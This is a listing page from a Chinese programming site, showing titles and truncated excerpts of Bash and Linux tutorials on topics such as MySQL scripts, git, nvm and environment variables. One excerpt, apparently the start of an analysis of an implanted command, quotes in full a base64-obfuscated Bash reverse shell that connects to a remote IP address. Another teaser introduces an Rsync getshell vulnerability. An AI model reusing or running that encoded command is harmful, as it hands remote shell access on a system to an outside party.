手机版
热门标签
站点地图
我要投稿
广告合作
联系我们
搜 索
广告位招租
广告位招租
切换导航
首页
编程教程
编程导航
编程百科
编程问答
编程博文
编程实例
硬件设备
网络运营
软件教程
移动数码
办公软件
操作系统
人工智能
栏目导航
▸ 编程语言
▸ 前端开发
▸ 移动开发
▸ 开发工具
▸ 程序设计
▸ 行业应用
▸ CMS系统
▸ 服务器
▸ 数据库
公众号推荐
微信公众号搜
"智元新知"
关注
微信扫一扫可直接关注哦!
子栏目导航
Linux
Windows
CentOS
Ubuntu
Nginx
WebService
Scala
Memcache
Apache
Redis
Docker
Bash
Azure
Tomcat
LNMP
Shell
Ansible
KVM虚拟机
数据结构
鸿蒙系统
宝塔面板
服务器运维
网络安全
编程之家
Bash
从bash中读取mysql数据库
创建数据库及数据表的脚本如下:[root@iZr4s05capgvfej0ntls1zZ~]#catcreate_db.sh#!/bin/bash#文件名:create_db.sh#用途:创建mysql数据库USER="user"PASS="user"mysql-u$USER-p$PASS<<EOF2>/devullCREATEDATABASESstudents;EOF[$?-eq0]&a
作者:编程之家 时间:2022-09-02
Bash的快捷键
Ctrl+L:清除屏幕并将当前行移到页面顶部。Ctrl+C:中止当前正在执行的命令。Shift+PageUp:向上滚动。Shift+PageDown:向下滚动。Ctrl+U:从光标位置删除到行首。Ctrl+K:从光标位置删除到行尾。Ctrl+D:关闭Shell会话。↑,↓:浏览已执行命令的历史记录。
作者:编程之家 时间:2022-09-02
shell echo单行和多行文字定向写入到文件中
单行文本:#!/bin/bashecho"192.168.85.24tsedb">>/etc/hosts 多行文本:<<EOF告诉主shell,后续的输入,是其他命令或者子shell的输入,直到遇到EOF为止#!/bin/bashcat>/etc/security/limits.conf<<EOF#tsedbSETTINGtsedbsoftnproc16384tsedbhardnproc163
作者:编程之家 时间:2022-09-02
Linux bash环境变量简单总结搬运
来源链接:http://www.178linux.com/8005作者:旺仔大战肥五花链接:https://zhuanlan.zhihu.com/p/82098647来源:知乎著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。一.环境变量简介Linux是一个多用户的操作系统。每个用户登录系统后,都会有一个专用的运行环
作者:编程之家 时间:2022-09-02
linux清空历史命令(history)
有时候发现上下键出现太多没有用的命令或者打错的命令,可以使用以下两种方法清空命令一、$history-c该命令可以清空本次登入的所有输出命令,但不清空.bash_history文件,所以下次登陆后,旧命令还将出现,历史命令是存在于当前用户根目录下的./bash_history文件。二、echo>$home./ba
作者:编程之家 时间:2022-09-02
netstat命令无法使用-bash netstat commad not found
关于netstat命令无法使用-bashnetstatcommadnotfound的问题今天来给大家一个解决方法; 默认的有的系统是没安装的,需要运行一下下面的命令即可:yuminstallnet-tools
作者:编程之家 时间:2022-09-02
浅谈未授权漏洞——Rsync未授权getshell
0x01漏洞简介及危害Rsync(remotesynchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync的默认端口为837。0x02漏洞复现Rs
作者:编程之家 时间:2022-09-02
Docker中,上下左右按键使用出错,^[[A^[[B^[[C^[[D
大家在Dockler中,有没有遇到这样的问题,好不容易输入一大串之后,最后想要上下键,找寻刚刚使用的命令时,却发现出现这样的错误:这是字符集的问题,sh不支持这种行为,但要怎么做才可以呢?有两种方法:第一种:再启动Docker的时候,后面跟上/bin/bashdockerrun-it--namemyfirstDockerd
作者:编程之家 时间:2022-09-02
shell学习
一.概述shell是一个用C语言编写的程序,它是用户使用Linux的桥梁。shell既是一中命令语言,又是一种程序设计语言。shell是一个命令行解释器,它接收应用程序/用户命令,然后调用系统操作内核,进行内核操作,从而控制硬件。shell是一个功能强大的编程语言,易变写,易调试、灵活性强 二.sh
作者:编程之家 时间:2022-09-02
常用git bash命令
gitinitgitremoteaddorigin"你的项目地址(刚才在码云创建的项目的地址)"gitpulloriginmaster#gitpulloriginmaster--allow-unrelated-historiesgitrmfilenamegitbranchv1.0#创建本地分支gitpushoriginv1.0#提交分支gitbranch-a#查看所有分支
作者:编程之家 时间:2022-09-02
【 OS_Linux】Shell脚本中首行的#!/bin/bash和#!/bin/sh的作用
“#!”是一个约定的标记,它告诉系统用什么解释器来执行这个脚本,即使用哪一种Shell。#!/bin/sh是指此脚本使用/bin/sh来解释执行,其实第一句的#!是对脚本的解释器程序路径,脚本的内容是由解释器解释的,我们可以用各种各样的解释器来写对应的脚本。比如说/bin/csh脚本,/bin/perl脚本,/b
作者:编程之家 时间:2022-09-02
关于 Shell 脚本
Shell解释器Linux提供的Shell解释器:bash和sh的关系:CentOS默认的解析器:Shell入门脚本格式,以#!/bin/bash开头,指定解析器第一种执行方法,本质是bash解析器帮你执行脚本,所以脚本本身不需要执行权限。第二种执行方法,本质是脚本需要自己执行,所以需要执行权限多
作者:编程之家 时间:2022-09-02
如何使用Chmod使Bash脚本可执行
在本教程中,我将逐步介绍创建bash脚本并使用chmod命令使脚本可执行的步骤。之后,无需使用sh或bash命令就可以运行它。步骤1:创建一个Bash文件首先是.sh使用以下命令创建带有扩展名的新文本文件。$touchhello_script.sh步骤2:编写示例脚本使用任何喜欢的编辑器打开新创建的文件,将以下
作者:编程之家 时间:2022-09-02
Mac tomcat安装
步骤1:官网下载 .tar.gz文件一般用于Linux系统上,而.zip文件一般流行于Windows系统上步骤2:解压安装网上有人建议放入(/usr/local/)文件夹,本人自己建立一个local目录,然后进行把所有无需安装的程序都放在里面方便管理步骤3:进入tomcat》bin目录 进入tomcat》bin目录,shut
作者:编程之家 时间:2022-09-02
shell练习题
总结内容如下:1.如何向脚本传递参数,并在脚本中获取参数,举例说明?先创建一个脚本,#!/bin/bash开头,脚本名字,脚本创建时间,脚本创作者,脚本路径echo“”结尾sh脚本名字获取参数例如:[root@hadoop105shell_class25]#vimaa.sh#!/bin/bash#DESC:第一个脚本输出helloword#PATH:oot/shel
作者:编程之家 时间:2022-09-02
mac npm 无法使用时 zsh配置
更新:建议使用nvm官方GitHub文档安装方式参考文档:https://github.comvm-shvm/blob/master/README.md#installing-and-updating安装brew终端上运行$/usr/binuby-e“$(curl-fsSLhttps:/aw.githubusercontent.com/Homebrew/install/master/install)”安装NVM$b
作者:编程之家 时间:2022-09-02
[七夕特供版]:流年不利啊,才处理了线程死亡案件,这次更猛,进程连续死了好几个
前言前两天发了一篇,关于线程神秘死亡的,过程也诸多波折,也很有意思。结果就在昨天,又遇到一起进程死亡案件,容我给大家细细道来。我们有一台专门定制的,供市场人员进行产品展示和推销的pc(配置是挺不错,英特尔i7*8核,32g内存);这是一台pc,装的win10系统,市场人员要展示的时候,就打开浏览器
作者:编程之家 时间:2022-09-02
Mac下添加环境变量
1.环境变量的作用:我们先来看这样的一个使用场景1,我们有一个程序Java,需要读取某个文件(/data/file.txt)。那么我们在运行的时候是不是需要做如下的步骤:cd到Java的目录下;执行Java命令;但是,当我们需要同时使用多个工具的时候,比如又有java、maven、git等等,而且是多台机器的
作者:编程之家 时间:2022-09-02
nvm git手动安装,解决curl wget 及 nvm install node源被墙问题
最近更新node版本比较频繁,考虑使用nvm方便管理。官方安装文档(https://github.comvm-shvm#install--update-script)建议使用curl和wget方便安装,但是架不住我天朝gfw之强大,梯子也不管用,只能通过git进行手动安装。命令行如下:bash-u#开启新的bashunalias-a#重置
作者:编程之家 时间:2022-09-02
Linux 常用软件清单
Linux常用软件清单下面是Linux环境的一些软件(有些只是关键字,直接搜素即可):arch系列的是pacman-Ss<关键字>debian系列的是aptsearch<关键字>redhat系列的是dnfsearch<关键字>终端编辑器:vimaur包管理器:yay图形界面编辑器:gedit网络连接:iw,wpa_supplicant和
作者:编程之家 时间:2022-09-02
k8s 安装 istio 的坑
本文针对于二进制部署的k8s安装istio1.67版本 没有设置admin.conf的小伙伴请参考https://www.cnblogs.com/Tempted/p/13469772.html 1、检查k8sdnssvc启动是否正常 访问不到svc错误,请检查K8S上dns服务是否正常errorcitadelclientFailedtocreatece
作者:编程之家 时间:2022-09-02
小技巧:Linux环境jps: command not found
vimoot/.bash_profile 红色框框中添加你的JAVA_HOME地址再运行sourceoot/.bash_profile然后发现jps等命令运行正常了
作者:编程之家 时间:2022-09-02
Mac 如何安装 SDK Platform Tools
Homebrew是什么?官方解释来说,它就是Mac不可或缺的套件管理器。那我的理解就是,这个就像win系统中的软件安装管家之类的(不知道这种理解是否准确)。它有很多实用功能:安装、卸载、查看等,用命令来实现各种包的管理,这种操作方法有点像乌班图的apt-get(当然我也不知道这种理解是否准确,
作者:编程之家 时间:2022-09-02
git 上传和克隆文件
1-ML新文件夹连接仓库girclone(最好用SSH不需要输入账户密码 SSH需要设置秘钥)2-ML中设立空文件夹与项目同名(要新建 打开隐藏文件选项 文件夹内不许有文件会报错)3-在项目文件夹内执行gitbash (第一次执行5个语句不准省略会报错)4-刷新网页仓库 一、Github官网创
作者:编程之家 时间:2022-09-02
Mac中的环境变量
引言 在安装jdk的时候无脑安装的jdk,居然可以直接的在终端进行编译运行不需要像Windows下重新配置环境变量。因为这个原因我想看看mac的环境变量在哪里是怎么设置的。(今天同学告诉我,win闭着眼睛好像也能配置)。Mac中的环境变量 在mac中设置环境变量需要从文件中修改,win好像
作者:编程之家 时间:2022-09-02
进行base64编码
转载自https://blog.csdn.net/weixin_43861049/article/details/100103497遇到这样一段植入的命令bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81Mi4yMzEuMTMuMTE3LzM0NTEyIDA+JjE=}|{base64,-d}|{bash,-i}[root@localhost~]#base=$(base64-d<<<"YmFzaCAtaSA+JiAvZGV2L3
作者:编程之家 时间:2022-09-02
linux shell介绍
shell介绍一什么是shell?Shell是一类应用程序的统称,该类应用程序负责连接用户和Linux内核,让用户能够更加高效、安全、低成本地使用Linux内核来控制计算机硬件。具体来说,linux系统上自带多种shell程序[root@localhost~]#chsh-l/bin/sh/bin/bash/usr/bin/sh/us
作者:编程之家 时间:2022-09-02
Linux中默认的shell如何切换为其他类型的shell
1.一般linux系统会默认使用一种shell,比如我当前系统使用的默认shell是bash,可以使用如下方法查看。[root@node5~]#echo$SHELL/bin/bash2.当我们想尝试其他类型的shell时,可以使用如下方式切换,以及切换回来。#首先查看当前系统可用的shell[root@node5~]#cat/etc/shells
作者:编程之家 时间:2022-09-02
Linux命令 -- screen后台运行程序
后台进程:screen1.在开启一个子bash窗口,关闭父bash并不影响子bash1.安装[root@oldboy~]#yuminstallscreen-y2.开启一个screen窗口,指定名称[root@oldboy~]#screen-Swget_mysql3.在screen窗口中执行任务即可4.平滑的退出screen,但不会终止screen中的任务注意:
作者:编程之家 时间:2022-09-02
windows下git bash不显示中文问题解决
问题:在gitbash下输入gitlog,查看log记录的时候中文显示不出来解决方案:网上查了很多解决方法,逐个尝试1.尝试gitconfig--globalcore.quotepathfalse解决不了2.尝试gitconfig--globalcore.pagermore问题解决
作者:编程之家 时间:2022-09-02
上一页
79
80
81
82
83
84
85
86
下一页
小编推荐
热门标签
更多
python
JavaScript
java
HTML
reactjs
C#
Android
CSS
Node.js
sql
r
python-3.x
MysqL
jQuery
c++
pandas
Flutter
angular
IOS
django
linux
swift
typescript
路由器
JSON
路由器设置
无线路由器
h3c
华三
华三路由器设置
华三路由器
电脑软件教程
arrays
docker
软件图文教程
C
vue.js
laravel
spring-boot
react-native